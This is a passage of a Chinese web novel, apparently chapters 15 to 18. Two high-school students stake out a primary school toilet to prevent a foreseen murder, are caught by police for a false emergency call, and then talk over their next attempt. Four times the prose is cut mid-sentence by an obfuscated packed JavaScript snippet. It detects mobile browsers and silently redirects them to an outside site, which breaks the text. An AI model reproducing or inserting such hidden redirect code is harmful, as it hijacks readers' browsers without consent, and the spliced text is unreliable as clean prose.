二人重新绕回二实验正门,那个大爷还在一边看报一边看时间,本来趁着大爷不注意从开着的、可供一人通过的小门溜进去最方便,但看大爷这样估计没戏,夏迟便带着陆尘沿着围墙来到了后操场一角。 二实验的厕所没经过改造,还是坐落在操场角落的室外旱厕,随着天气渐渐变暖味道也越来越大,再加上被胡乱丢在地上的垃圾,各种味道混杂在一起直让人恶心反胃。 陆尘眉毛都快拧成了死结,他捏着鼻子瓮声瓮气,“我真是倒了血霉才放着好好的晚自习不上,跑这儿来陪你围堵小学女生上厕所。” 刺鼻的味道也熏的夏迟脑袋发昏,但来都来了,只要再忍一下就将达成计划,这个时候绝对不能退缩,“早知道就带两个口罩好了,还有十几分钟,忍一忍,回去我请你吃好吃的。” 然而现在这个地点、这个环境、这个味道,陆尘听到吃的两个字只想吐,根本没有被安慰到。 围墙是红砖砌的,也就两米左右,夏迟后退几步快速助跑,一脚蹬住墙体借力向上一跃,稳稳落在墙头。 她矮身蹲在墙头上,确认此时操场空空并没有人发现自己后,才回身小声招呼,“快上来。” 陆尘如法炮制,二人顺利潜入二实验。 这里的厕所同样是用红砖砌成,以瓦做屋顶,男厕女厕一体,中间只用一堵半高的墙体隔开,说话声音大点完全可以实现两边的无障碍交流。而且每边的厕所各有两个门,前门面向操场用一堵L形围墙遮挡入口,是学生们最常使用的,后门正对着学校围墙,距离不过三米,平时很少有人从这边进出。 夏迟先从后门溜进去看了看,发现这个厕所被隔成一个个坑位,再加上只有一盏吊在屋顶的白炽灯,里面光线非常暗,很适合躲人。 “有人吗?”夏迟装着胆子喊了一声,然后慢慢从过道走过检查两侧的情况,最后确认,至少这个时候凶手还不在。 她捂着鼻子跑出去找陆尘,“你去男厕所看看呗。”说着,夏迟在自己腰间比划了一下,“蹲坑隔断的墙大概到这儿,踩着墙头是可以从男厕那边翻过来的。” 闻言,陆尘又去男厕所检查一圈,确认里面也是空的,夏迟这才稍稍放了心。 现在夏迟只需要潜伏在女厕后门躲在隔断后面,这样一来无论谁进女厕所,她都能一清二楚。 但下一个问题又来了,陆尘是绝对不想再进男厕所的,他要想躲着就只能和夏迟待在一起,可这样一来,到最后凶手可能没抓到,他得以耍流氓的名义被警察叔叔带走。 眼看时间快到了,夏迟大脑飞速运转,最终抬手指了指不远处一棵大树,“你上树躲着吧,视野还好,看到有人过来就学鸟叫通知我,也好让我有个准备。” 这已经是没有办法的办法,但陆尘还有一个问题,“假设你的计划都能顺利进行,我们大概率会和乔颂的妹妹、凶手以及警察撞在一起,到时你要怎么说?” 他看了一眼二人身上的一中校服,“大晚上的不好好在学校上自习,跑这么老远来到二实验,还躲在厕所里,你怎么解释?” 夏迟彻底豁出去了,“我是个心理变态,我就喜欢看小学女生上厕所,一天不看浑身难受。” 陆尘:“……” 陆尘:“那我呢?” 夏迟:“你就是想要拉我走出泥沼的救世主,但很可惜,没拉住。” “厉害。”他朝夏迟竖起大拇指,“真有想法,牛逼。” 二人各就各位。 天彻底黑透,陆尘躲在树上借着微弱的光线看了一眼手表,想着夏迟给他们编造的借口,觉得自己可能脑子被驴踢了才会跟夏迟跑到这儿来过家家。 他百无聊赖的蹲了几分钟,谁知却真的看见一个小小的身影从远处跑来。 光线太暗他没法看清对方的样貌,但从大致轮廓来判断,应该是一个扎着双马尾麻花辫的小女生。 直到这一刻,一股寒意从陆尘背后窜起。 说到底,他始终对夏迟的说法半信半疑,来到这儿也纯属好奇心作祟再加上担心夏迟一个人会出事。对于她口中的凶手,陆尘的潜意识是不相信的,他没觉得夏迟在故意说谎,但也不认为这件事会真的发生。 然而这个小女孩真的出现了,他不知道这是不是乔颂的妹妹,他只知道从身形来看年纪是符合的,而且出现时间也如同夏迟所说的那样。 陆尘搓搓冰凉的手,僵硬的吹了个口哨,就像是夜间偶闻的鸟叫声。 得到信号的夏迟顿时集中了全部的注意力,她看见乔雅缩着肩膀佝偻着腰,手里还攥着一沓卫生纸,抱着肚子冲进厕所找了最近的坑位解决个人问题。 还真是因为坏肚子。 虽然乔雅在前门夏迟在后门,光线太暗再加上距离太远不好观察,但夏迟百分之百信任陆尘,如果凶手是正门来的,陆尘肯定能第一时间发现并给她传递消息,所以她将注意力放在了男女厕中间那堵墙上。 那颗昏暗的白炽灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959405|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡就悬挂在墙体上方,把光线一半分给男厕,一半分给女厕,但唯一能够照亮的只有附近房梁上的蜘蛛网。 长时间待在这里让夏迟的鼻子逐渐麻木,大脑已经自动忽视了难闻的味道,他直勾勾的盯着那堵墙,不停的想象如果一会儿凶手从那边跳出、或者绕过陆尘的视线从自己旁边的女厕所后门进来该怎么办。 除了被袭击的那次,这是她距离凶手最近的时刻,只要能在这里将对方抓住,那么之后的一切都不会发生。 乔雅不会死,而乔雅不死她妈妈就不会在家里无休无止的发疯,乔颂也能多过两年安稳日子。 过久的蹲守让夏迟的双腿麻木不堪,她抬手敲了敲,不再去想那些有的没的,重新将注意力放在乔雅身上。 乔雅也不知道吃坏了什么,在厕所待了很长时间,夏迟一动不动陪她一起,然而随着时间的推移,她渐渐觉察出一丝异样。 凶手呢?都到了这个时间,为什么凶手还没有出现。 一种强烈的不安弥漫在心头,夏迟甚至开始怀疑自己是不是记错了什么。 ——不对,自己根本不可能记错。 这是发生的第一起命案,死者是乔颂同父异母的妹妹乔雅,她小学二年级,就读于临江区二实验小学,在厕所里被凶手杀害,厕所就是第一案发现场。 都是板上钉钉的结论,关于这起案子,她已经复述了无数遍,甚至死亡细节都一清二楚。 然而直到乔雅起身提好裤子,凶手仍旧不见踪影。 她蹲坑蹲麻了腿,每动一下就像针扎似的疼,一瘸一拐走出厕所,动作非常迟缓。 与她情况相似的夏迟却顾不得这些,她悄悄从后门跑出,赶忙招呼陆尘从树上下来。 陆尘稳稳落地,看着逐渐走远的乔雅,皱着眉,小声问道:“凶手呢?” 夏迟崩溃摇头,“我不知道啊,我一直在等他,可就是没见到,你呢?有看见什么可疑的人吗?” 可陆尘也没有任何收获,“操场上连个会叫的虫子都没有,最可疑的就是咱俩。” “啊啊啊!”夏迟不知道哪里出了问题,急的直跺脚,“难道是他们调查错了,不应该啊,死亡地点这种事怎么可能弄错。” 如果真的错了,那接下来的事情就麻烦了。 乔雅经过的地方太多太多,操场、楼道、走廊、甚至是路过的空教室,他们要怎么跟、要跟多久,全都是未知的。 总不能继续待在厕所等凶手过来抛尸吧。 眼看乔雅的身影变成小小一点马上就要消失在黑暗中,夏迟当机立断,拉着陆尘就朝她追了过去。 今天是抓住凶手最好的机会,她绝对不会轻易放弃。 然而这个愿望注定要落空。 110接到报案电话后第一时间派出警力来到现场,正好迎面撞上暗自跟踪乔雅的夏迟和陆尘。 俩人下意识的转身要跑,却被带队的李伟呵住,“什么人!给我站住!” 16. 第十六章 夏迟和陆尘被迫停下脚步,在手电筒的照射下慢慢转身面向李伟。 看着他们紧紧拉着的手和身上的校服,李伟身后的同事笑道,“呦呵,抓到两个早恋的学生。” 然而李伟眉头紧皱,脑门上拧出一道深深的川字纹。老式手电筒光亮不足,李伟拧了拧手电筒头部调整焦距,随着他的动作,那束光最终落在了陆尘左胸前的位置。 “实验一中?”李伟眉头越皱越深,“一中的学生跑这儿来干嘛?” 夏迟看了一眼身边的陆尘,眼一闭心一横,拿出了死猪不怕开水烫的劲头,“我俩在处对象,早恋,怕被老师发现才跑出来的。” 可这个借口说服不了李伟,他目光犀利仿佛能直接看破谎言,回头和身后的同事吩咐了一句什么,然后那人便离开了。 而同样被堵住一直没敢说话的乔雅始终在状况外,她不知道究竟发生了什么,只觉周围的气氛越来越紧张让她喘不过气,最后没忍住,呜呜咽咽的哭出了声。 “来,小朋友,别害怕。”面对乔雅,李伟的声音终于温柔了一点,他拉着乔雅来到自己身边,屈膝蹲下,安慰道:“别怕,叔叔不是坏人,是警察,你知道警察吗,我们就是专门抓坏人的,会保护你。” 乔雅哽咽道:“我爸爸也是警察,他也抓坏人。” 李伟:“这不巧了吗,我和你爸爸一样,所以别害怕。” 他正安慰着,刚刚离开的同事去而复返,甚至还带回了一个人。 夏迟定睛一看,完蛋,是那个小卖部的老板娘。 李伟重新起身,手电筒的光线在二人身上上下晃了一圈,“大姐,你看看这俩学生,眼熟不?” 老板娘对他俩印象太深了,“咋能不熟呢,刚跟我这儿打的电话,那个小子还差点把我门撞坏了。” “好嘞,谢谢啊大姐。”等老板娘离开后,李伟皮笑肉不笑的看着他们,“现在的学生可真行啊,早恋,还报假警!我看你们一个个的就是欠教育!走,跟我回派出所!看我今天咋收拾你们!” 正当夏迟满心绝望时,远处又跑来一人。 “诶,乔颂,你咋来了?” 乔颂跑得很急,呼哧呼哧直喘粗气,他看了一眼夏迟陆尘,又低头看了一眼自己妹妹,最后换上笑容转向李伟,“李叔,是我啊,乔颂。” 他的爸爸乔万年在进市局之前就在临江区桥西路派出所任职,是李伟曾经的队长,也因此,他在乔颂小时候见过几次。 那都是好几年前的事,现在乔颂长高了,也张开了,相貌发生了一些变化,好在李伟认人本事不错,稍微一想就认出了乔颂,“你咋也来了,现在在上高中吧,大晚上的咋不在学校上自习呢。”随即低头一看,却清清楚楚看见他校服上写着的实验一中四个大字。 “这……”李伟狐疑的望了一眼夏迟和陆尘,“他俩你认识?” “都是我同班同学,这个小的是我妹妹。”说着,他还特意推了一下乔雅的肩膀,“乔雅,叫叔叔。” 日常在家乔雅和哥哥的关系并不好,闻言丢了个白眼,红着眼圈梗着脖子不情不愿道:“叔叔好。” 李伟并不在意,只有见到老战友孩子的慈爱,“没想到啊,小的都长这么大了。” 乔颂陪着笑脸和他寒暄,但李伟终究没忘了正事,“说说吧,你过来干啥的。” 乔颂:“下周不是清明节吗,乔雅学校有活动,她作为军乐队成员每天留下来训练,天都黑了,我有点担心,所以就过来看看。” 他偷偷瞟一眼夏迟和陆尘,“李叔,我这俩同学怎么了?” 李伟呵呵一笑,“偷着跑出来处对象不说,还打110报假警。诶我说,你们老师平时都是怎么教的啊,光教怎么学习,不管思想品德吗?都上高中了,这么大的人,咋还能干这种事呢。” 乔颂万万没想到事情居然是这么个发展,一时懵逼,但又很快调整了状态,“李叔,你看这样好不好,他俩平时成绩挺好的,可能就是学习压力大,一时脑子不清楚犯浑,都是初犯,能不能……就放过他们这一次吧,我替他们保证,以后绝不再犯。” 这事其实没带来什么严重的后果,究竟是定义为学生的恶作剧还是妨碍公务,只凭李伟一句话。 李伟:“你和他俩关系挺好的?” 乔颂:“我们坐前后桌,关系当然好了。” 李伟:“行吧,今天就算看在你爸的面子上,我不往深了追究。” 但该给的教训还是要给,李伟让乔颂带着乔雅,再加上夏迟和陆尘,一行人坐警车回到了派出所。他答应乔颂可以不找家长,可作为班主任,韩途生在学生的思想品德教育上实在不过关,必须过来一趟好好和他说道说道。 被逼无奈,夏迟用派出所座机打通了学校教学办公室的电话,“喂,你好,我找韩途生韩老师。” 等到韩途生接过电话,夏迟只觉两眼一黑,胸闷气又短,“韩老师,是我,夏迟。” 韩途生:“夏迟同学,这么晚还给老师打电话是有什么事吗?” 夏迟扭头看了一眼面如黑铁的李伟,尴尬道:“老师,说出来你可能不信,我和陆尘现在在派出所呢,乔颂也在。” 韩途生惊吓到声音都变了,“啊?” 在李伟的死亡注视下,夏迟只好实话实说,“我给110打了个电话,报了假警,老师,你现在能过来捞我们出去吗?” 韩途生:“……” 挂断电话后,夏迟低着头满脸都写着自责,“警察叔叔,老师说他现在就过来。” 夜晚的派出所只留了一个值班人员,现在李伟被迫加班。他靠着椅背翘着二郎腿,指尖夹着一支笔不停的转来转去,环视一圈略显空旷的办公室,最后扬手用笔尖指了指墙,“上面写的什么字,给我念念。” 夏迟:“坦白从宽,抗拒从严……” 李伟:“知道什么意思吗?” 夏迟:“知道。” 李伟:“那行,知道就好办,你和我说说你为啥报警。” 夏迟有苦说不出,只好硬着头皮瞎编,“学习压力太大了……” “压力大就打110?”李伟气的狠拍桌子,“你知不知道这是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959406|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为,你有没有想过会带来什么后果?!” 夏迟:“我现在知道了……” 李伟:“那你说说吧。” 夏迟:“……” 李伟:“看我干嘛,我脸上有字啊,说啊。” 夏迟:“110是负责受理紧急性的刑事和治安案件的,属于特殊号码,是极为宝贵的公共安全资源,虚构警情和其他恶意骚扰行为会严重影响公安机关接处警机制的正常运行、制约公安机关职能作用的充分发挥……” 李伟:“呦,背书背的不错啊,知道还犯!” 夏迟深深低下了头,“警察叔叔,我真的知道错了……” 不过念在她是初犯,认错态度也算诚恳,李伟只是想让她认清自己的错误,并没有刻意为难她,看小姑娘吓的都快哭了,也有点不忍心,“好,我相信你只是一时糊涂,也希望通过这件事你能意识到什么事该做,什么事不该做,乔颂说你的成绩还不错,将来是要考大学的,你说说,大好的前途要是因为这种事毁了,可惜不可惜。” 说完,李伟瞄一眼她背着的书包,“带纸和笔了吗?” 夏迟:“带了……” 李伟:“去那边,趁你老师没来这功夫,和你那个男……男同学,每人写一篇不少于800字的检讨。” 夏迟:“好的警察叔叔……” 稍远的一个空桌子旁,乔雅趴在桌子上认认真真写作业,乔颂看了一眼臭脸的陆尘,偷偷往他那边挪了挪椅子。 陆尘:“干嘛?” 乔颂:“你俩到底为啥来二实验?” 陆尘:“有两种答案,你想听哪一种?” 乔颂:“先说第一种。” 陆尘:“夏迟是个喜欢偷窥小学女生上厕所的变态,而我是她的帮凶,负责望风。” 乔颂:“……第二种呢?” 陆尘:“我俩早恋,为了逃开老韩的监视,特意跑二实验约会。” 乔颂:“我好歹算是帮了你俩的忙,就不能说一句实话吗?!” 陆尘:“实话就是,我也不知道。” 乔颂彻底无语。 头顶的灯管发着白花花的光,照的人眼睛疼,陆尘听着远处传来的训斥声,长出一口气,觉得这几个小时过得真是精彩,之前十七年的人生加在一起都没有这么刺激。 但刺激是有代价的,就仿佛平静的湖水中被投入一颗石子,自此一圈圈涟漪散开,许久无法消散。 虽然现在事情暂时告一段落,可各种各样的问题萦绕在陆尘脑海中,乱糟糟的仿佛一团乱麻。 夏迟的反常,还有她口中乔雅的死和所谓的凶手,每一个都让陆尘非常在意。 啪啪—— 一只小小的甲壳虫飞旋在半空,时不时撞到悬挂着的灯管,在陆尘的视网膜上留下清晰的轨迹。 “乔颂。” “嗯?”正想找点事做的乔颂突然被叫到,下意识看向陆尘,“什么事?” 陆尘那双眼睛淡漠了几分,让乔颂分辨不清他的心思,“你也来了二实验,你的理由,是什么呢?” 17. 第十七章 “理由我刚才就说了。”乔颂笑容不减,“没必要再说一次吧。” “是吗?”然而陆尘根本不信他的话,他稍稍向前探着身体,视线越过乔颂,“小朋友,你是叫乔雅?” 还在和作业斗争的乔雅听到有人在叫自己,停下笔,抬眼看向陆尘,“是啊。” 陆尘:“家里有个哥哥挺好的吧,平时能陪你一起玩,还能接你放学。” 闻言,乔雅立刻拉下脸,带着浓浓的嫌恶,“才不好呢,他不会陪我玩,也不会接我放学,我家住的很近,放学都是我自己回家的。” 陆尘:“才二年级就能独自回家,真厉害啊。” 听到夸奖,乔雅的脸色总算好了点。 等到乔雅重新低头写作业,陆尘用只有他和乔颂能听到的声音,轻笑一声,“你妹妹挺诚实啊,看样子你们兄妹之间感情不怎么好,你怎么今天突发奇想跑过来接她放学了。” 乔颂:“都说了,是个意外,只是偶尔想尽一点做哥哥的义务。” 陆尘:“那还真巧呢。” 偏偏是今天,偏偏夏迟口中的那个凶手没有出现,偏偏乔雅安然无恙。 一切的一切都是那么的凑巧。 而此时的夏迟已经结束了思想品德教育,耷拉着肩膀,搬了把椅子坐在陆尘身边,放下书包拉开拉链,从里面拿出一沓稿纸,撕了几张放在陆尘面前,颓丧道:“写吧,不少于800字的检讨。” 陆尘长出一口气,顺手从夏迟那里薅了一根黑色中性笔,摘开笔帽,潇洒的写下了检讨书三个字。 墙上的钟表滴滴答答,二十分钟后,韩途生风尘仆仆赶来,因为着急,脑门上都挂着汗。 “警察同志你好,我叫韩途生,是他们的班主任老师。” 李伟点点头,指了指面前的椅子,示意他先坐下。 韩途生道了谢,坐姿有点拘谨,“警察同志,刚才在电话里我也了解了一点情况,我这俩学生平时成绩很好,思想品德也是过关的,今天可能就是一时糊涂,念在他们是初犯,能不能请你网开一面?他们都是考大学的苗子,这要是在档案上写一笔,你说这这……孩子的大好前程就毁了。当然,他们做出这种行为肯定是不对的,我身为班主任逃脱不了责任,这其中我也有错,日后我一定会加强他们的思想品德教育,保证他们绝不再犯。” 其实刚才批评夏迟的时候,李伟的气就消得差不多了,但该说的还得说,“我知道一中是个好学校,也能理解孩子上了高中学习压力大,可压力大不是恶作剧的理由。你说说,这年头谁压力不大,要都像他俩那样,我们警察还工不工作了,现在警力这么紧张,很可能因为他们的这种行为,导致真正需要帮助的群众失去了获得帮助的机会,人命关天的事,能随便开玩笑吗。” 韩途生抬手抹了抹脑门的汗,“是是是,警察同志,你说的我都理解,我代我的学生向你道歉,对不起,这次真的是给你们添麻烦了。” “行了行了。”李伟摆了摆手,“刚才我和那个小姑娘说过了,她认错态度挺好的,也和我保证过绝不再犯,我呢,也不是那种不通情理的人,批评不是目的,目的是让他们改正,现在批评过了,咱回去继续好好学习,将来考大学给国家做贡献,做个对社会有用的人。” 韩途生:“真是太谢谢你了警察同志。” 那边,夏迟拿着两份写好的检讨书过来交给李伟,李伟简单看了两行,连连夸赞,“啧啧,这好学生就是不一样啊,瞅这检讨书写的,比我们所里那谁写的材料都好。” 看完后,他把两份检讨书收进抽屉里,“行了,跟你们老师走吧,记得回去好好学习,还有那谁……乔颂!” 乔颂:“诶,李叔。” 李伟:“你也带着你妹回去吧,记得替我跟你爸问个好,别去市里就忘了咱们这帮兄弟,有空也回来看看。” 乔颂:“诶,好的。” 夜里的风越来越凉,夏迟刚出派出所大门,就被冷风吹的打了个喷嚏。 “拉锁拉上。”陆尘提醒道。 这个时间不好打车,再加上派出所位置较偏,别说车了,街上空荡荡的连个人都看不见。 韩途生带着他们往主干道那边走,思考再三,还是觉得今日事今日毕,该说的话必须要在今天说清楚。 他在一个路灯下停下脚步,回头看向夏迟,严肃道:“你现在清清楚楚的告诉老师,到底为什么借口逃课,又为什么会打电话报警?” 折腾了好几个小时,夏迟现在头昏脑涨,口干舌燥的一个字都说不出来。 陆尘:“老师,是我的错。” 韩途生:“说。” 陆尘:“是我撺掇夏迟逃课的,之前我在家看了几本小说,讲的是一些社会人士的故事,一时觉得酷,就……” 再好的学校也无法完全控制学生私下的小动作,一中学生确实学习居多,但这不代表他们私下里就和其他学校学生有什么区别,都是这个年纪,爱玩爱闹又对新鲜事物充满好奇,有的在体活课偷偷翻墙去游戏厅,有的偷偷看街边小书摊租来的盗版书,已经被教导主任抓过好几次。 但韩途生没想到陆尘也会看这些,“从今天开始,把那些书全都扔掉,要是再让我发现你偷偷看,或者有撺掇其他同学的行为,你就搬讲台旁边坐着,也别带你那随身听了。” 他不是不知道陆尘偷偷听歌,只是因为他成绩好,没到必须管教的地步。 “还有你,夏迟。”韩途生继续说道:“他说什么你都听啊,我知道你俩从小一起长大关系好,但你也不是小孩了,什么该做什么不该做还用老师手把手教吗,今天这事我不告诉你们家长,但是下不为例。” 夏迟:“谢谢老师……” 至于乔颂,他虽然也逃了晚自习,可请假理由是家里人忙没时间,他得过来接妹妹。韩途生倒没有因为这事为难他,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959407|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说回去要和家里人协调好,高一马上就要过去,再开学就是高二,一切都要以学习为主,晚自习是非常宝贵的查缺补漏时间,不能这么白白浪费。 派出所外面这条路似乎修在了风口处,冷风不要钱似的往脖子里灌,夏迟将拉链拉到最上面,挡住小半张脸。 “阿嚏——” 走在前面的乔雅突然打了个喷嚏,乔颂继续走着没有回头,乔雅似乎也没指望哥哥能帮什么,低下头,自己系校服,自己拉拉链。 可倒霉的拉链不知道被什么卡住了,不上不下根本拽不动。 夏迟路过她身边时,停下脚步半蹲在她面前,“别硬拽。”说完便将拉锁头翻了个个,发现是被里面的校服内衬夹住了。 其实她对乔雅的感官非常负责,她是第一个受害人,是一系列案件的开始,现在凶手没有出现,并不意味着接下来就是安全的。虽然她和乔颂是好朋友,也知道他对家里的态度,可面对一个小学二年级的女孩,夏迟还是希望她能平平安安的长大。 “现在外面坏人多,你还小,以后天黑了不要随随便便往外跑,就算去厕所,也要叫上同学,三四个一起去,知道吗?” 或许是在乔雅最冷的时候这个大姐姐会温柔的帮她修拉链,她对夏迟的感觉并不差,至少要比什么都不管的哥哥好。 “我平时才不会乱跑呢,今天是坏肚子,着急,才自己去的。” “怎么这么不小心啊,吃什么吃坏了肚子,以后不要吃了。” “牛奶。” 乔颂也有这个毛病,夏迟不知道是体质问题,还是他们家遗传,闻言微微一笑,“回去告诉妈妈,说你喝牛奶会不舒服,让妈妈换个方法给你补充蛋白质。” “妈妈知道……”乔雅撇着嘴,“她不给我买,是我自己嘴馋偷偷喝的。” “在学校小卖部买的?” “不是……是在哥哥房间里拿的……” 内衬被从拉锁头里扯出来,夏迟帮她把校服弄好,僵硬的起身,回头看向那个熟悉的背影。 “夏迟。”一直在旁边等他的陆尘轻轻拉住她的胳膊,“有事回去再说。” 几分钟后,五人走到一个分岔路口,韩途生要带着陆尘夏迟往左走,去主干道上打车。而右侧是一条小胡同,路灯坏了一直没人修,但却是乔颂回家的近路。 “走吧。”和老师同学告别后,乔颂带着乔雅走向那条胡同,就在即将踏入黑暗的那一刻,突然听见身后大叫,“乔颂!” 乔颂脚下一滞,回头却看见夏迟那张急切的面容。 “你三岁学舞蹈,五岁拿到了人生中第一个奖状,九岁代表学校参加市里举办的比赛获得少儿组第一名!迄今为止你所获得的奖状奖杯足足装满了一个柜子!你热爱舞蹈,每个教过你的老师都夸你有天赋,你会在大学中继续坚持喜欢的舞蹈,你会在舞台上艳惊四座,被导演看中,你未来星途璀璨,你前途无量!” 18. 第十八章 这个时间夏国强和李桂梅还在店里忙活,对他们而言,串店就是全家唯一的收入来源,他们必须好好经营,挣钱养活两个孩子,再多攒一点,好供她们上大学,所以每天早出晚归,十分辛苦。 回到家楼下,夏迟抬头看了一眼,发现屋子里亮着灯,估计是下晚自习回来的夏晚。 上到四楼,陆尘拿出钥匙开了自家大门,夏迟也非常默契的跟了进去。 她随手将书包放到门口的鞋柜上,换好拖鞋,颓丧的走进客厅,整个人扑倒在沙发上。 陆尘换好衣服出来,便看到夏迟这副半死不活的样子。 “至于吗?”他让夏迟往里挪挪,自己搭边坐在沙发上,“刚才不是喊的挺大声吗,差点把老韩吓到。” 然而临别前喊的那些话已经耗光了她所有力气,她现在就像是个断了电的机器人,没有了新鲜的能量供给,眼皮也无比沉重。 陆尘怕她刚才吹风着凉,伸手去试了试她额头的温度,确认没事才放了心,“老实说,人各有命,你管不了的。” 他不了解在不久的将来,这事会和夏晚有所牵扯,更会让好好的一个家支离破碎,所以不懂她现在的执著,在他看来夏迟从小就是个热心肠的孩子,尤其见不得周围人不好,能搭把手帮忙的绝对不会拒绝。 乔颂乔雅如何,那是人家的家事,夏迟做到现在这个地步已经仁至义尽,再多就显得没有分寸感了。 “如果我偏要管呢。”夏迟扭动身体,换成侧躺的姿势,凌乱的碎发遮在她的脸上,挡住了大半的视线,“陆尘,你是不是觉得我像个傻子。” 陆尘思考片刻,“其实……就算没有今天这事,你也挺傻的。” 小时候大院里的孩子都在一起玩,有个小孩馋夏迟的零食,每天都找各种借口骗她,陆尘发现了但没说,因为他觉得夏迟也发现了,只是那个小孩家里条件不太好,夏迟明知道自己被骗还愿意把零食分给他。 闻言,夏迟露出一个疲惫的笑容,“这种时候了,就不能安慰安慰我吗。” 陆尘:“你还用我安慰?一瓶黄桃罐头下肚再好好睡一觉,第二天照样生龙活虎。” 夏迟:“滚蛋吧你。” 似乎是为了照顾她的情绪,陆尘只开了门廊处的灯,客厅里光线昏暗,正适合思考心事。 夏迟:“陆尘,今天的事,谢谢你啊……” 陆尘:“咦……突然听你说谢谢有点恶心。” 夏迟:“恶心也忍着,没地方给你吐。” 吵了几句后,夏迟总算胸口舒服了一点,她伸手捞过一个靠枕垫在脑后,半躺半倚,“算了,不想那些有的没的,我的时间很宝贵,得好好计划计划接下来的事。” 陆尘:“今天没有凶手不是皆大欢喜吗,好像你很盼着凶手出现似的。” 夏迟:“不要只把目光局限在今天,一年那么长,没有这个凶手还会有别的凶手,我的任务,就是把他抓住。” 这似乎又和夏迟那个梦有关,只不过经历了今天的事,陆尘觉得她的那个梦好像出了点偏差,“在你那个梦中,乔雅会发生什么事?” 夏迟:“会被凶手杀死在厕所。” 陆尘:“这个我已经知道了,说详细点。” 夏迟:“她双手反绑被人掐死。” 陆尘:“再说详细点。” 夏迟:“细节吗?凶手绑她用的就是最普通的尼龙绳,作案时还带着手套,再加上厕所脚印混乱,几乎可以说没留下任何痕迹。” 陆尘:“刚才你提到还要去抓别的凶手,所以,在你的那个梦里,你的认知是‘其余’凶手杀害了乔雅,这也就是说,凶手犯的是连环杀人案,而你今天必须去二实验的理由……乔雅应该是第一个受害人,只要在今天抓到凶手,以后的凶杀案都不会存在。” “哇。”夏迟扑棱一下坐起来,“厉害啊,这都能推出来。” 陆尘:“客气,不过从现在来看,你明显找错了凶手。照你刚才说的,尼龙绳、手套,这都是很常见的东西,随便找个市场就能买到,反绑双手并且掐死,也不是什么罕见的杀人手段,所以说,乔雅的死只是个烟雾弹,她误导了你的判断。” 夏迟:“我现在也知道了啊,所以我得好好计划下次的行动。” 陆尘:“凶手杀人时间?” 夏迟:“下个月。” 陆尘:“那还早着呢,计划不如变化快,倒也不用现在就开始想。” 夏迟:“不早了,就剩一个月了,而且还有个麻烦事,从今天发生的事来看,我的那个梦还是缺少很多细节,下次抓凶手我也不能保证百分之百不出差错,这样的话我就没办法提前报警了。” 那篇检讨真的让夏迟心有余悸,好在李伟人不错,看他们是学生,只把这事定义成了恶作剧,要换成一个较真的,他们绝对不可能这么简单的走出派出所。 所以下次的行动,夏迟不打算报警,万一又像今天这样出差错呢?到时候凶手没抓到还把自己搭进去,她要是进去了谁去抓凶手啊。 陆尘:“没关系啊,你提前告诉我,到时候我和你一起去,咱俩就算抓不住凶手也能救下受害者顺便当个目击证人,长相、身高、穿着,把这些提供给警察,剩下的就交给他们忙活吧。” “你还愿意陪我去啊。”夏迟大喜过望,她一手按着陆尘的肩膀眼睛都笑成了一条缝,“你人还怪好的嘞。” 陆尘:“我是不是好人不知道,但生活太无聊了,难得找到个乐子,所以你也不用跟我重复这事有多危险,我知道对方是个穷凶极恶的杀人犯,真逼急了什么事都干得出来,这些我都有心理准备。况且首要目标不是找线索提供给警察吗,也用不着自己上手抓。” “陆尘,谢谢你啊。”她身体微微前倾,下巴搭在手背上,二人距离非常近,呼吸可闻,“我知道你又要说我恶心,不过该说的话还是要说,这事真的谢谢你。同时我也向你保证,抓凶手是一方面,但前提是咱俩都得好好保护自己,否则做的这些就没有意义了。” 陆尘:“很好,脑子还算清楚,没有上头。” 夏迟:“我很理智的好吧。” 陆尘:“嗯嗯,理智……” ——个鬼。 如果真的理智就不该去管乔颂家的事,陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959408|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘从未觉得别人家的事和自己有什么关系,况且对方连好朋友都称不上,只是去年才坐在一个班级里的同班同学。 但夏迟就是这样的人,她能管的都会尽力而为,她希望周围所有人都好。 …… 